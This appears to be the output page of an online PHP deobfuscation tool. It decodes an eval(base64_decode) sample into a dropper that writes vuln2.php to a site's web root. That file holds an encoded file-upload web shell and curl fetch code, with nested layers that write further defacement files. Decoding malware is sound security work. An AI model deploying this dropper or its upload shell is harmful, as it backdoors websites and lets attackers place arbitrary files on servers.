Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvdG1wL3Z1bG4yLnBocC..

Decoded Output download

$check = $_SERVER['DOCUMENT_ROOT'] . "/tmp/vuln2.php" ;
$fp=fopen("$check","w+");
fwrite($fp,base64_decode('PHRpdGxlPlZ1bG4hISBwYXRjaCBpdCBOb3chPC90aXRsZT4KPD9waHAKZnVuY3Rpb24gaHR0cF9nZXQoJHVybCl7CgkkaW0gPSBjdXJsX2luaXQoJHVybCk7CgljdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7CgljdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0hFQURFUiwgMCk7CglyZXR1cm4gY3VybF9leGVjKCRpbSk7CgljdXJsX2Nsb3NlKCRpbSk7Cn0KJHMgPSAnPHRpdGxlPlZ1bG4hISBwYXRjaCBpdCBOb3chPC90aXRsZT48P3BocCBlY2hvIFwnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+XCc7ZWNobyBcJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT5cJztpZiggJF9QT1NUWyJfdXBsIl0gPT0gIlVwbG9hZCIgKSB7aWYoQGNvcHkoJF9GSUxFU1siZmlsZSJ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T3dva2RHVjRkRElnUFNBa2N6c0tKRzl3Wlc0eUlEMGdabTl3Wlc0b0pHTm9aV05yTWl3Z0ozY25LVHNLWm5keWFYUmxLQ1J2Y0dWdU1pd2dKSFJsZUhReUtUc0tabU5zYjNObEtDUnZjR1Z1TWlrN0NtbG1LR1pwYkdWZlpYaHBjM1J6S0NSamFHVmpheklwS1hzS0lDQWdJR1ZqYUc4Z0pHTm9aV05yTWk0aVBDOWljajRpT3dwOVpXeHpaU0FLSUNCbFkyaHZJQ0p1YjNRZ1pYaHBkSE15SWpzS1pXTm9ieUFpWkc5dVpUSWdMbHh1SUNJZ093b0tKR05vWldOck16MGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTkyZFd4dUxtaDBiU0lnT3dva2RHVjRkRE1nUFNBblZuVnNiaUVoSUhCaGRHTm9JR2wwSUU1dmR5RW5Pd29rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdDbVozY21sMFpTZ2tiM0F6TENSMFpYaDBNeWs3Q21aamJHOXpaU2drYjNBektUc0tDZ29rWTJobFkyczJQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJsdFlXZGxjeTkyZFd4dUxtaDBiU0lnT3dva2RHVjRkRFlnUFNBblZuVnNiaUVoSUhCaGRHTm9JR2wwSUU1dmR5RW5Pd29rYjNBMlBXWnZjR1Z1S0NSamFHVmphellzSUNkM0p5azdDbVozY21sMFpTZ2tiM0EyTENSMFpYaDBOaWs3Q21aamJHOXpaU2drYjNBMktUc0tRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdDajgrJykpOwpmY2xvc2UoJGZwMik7Cg=='));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 e9f038a66ef040002801556d1127291f
Eval Count 1
Decode Time 99 ms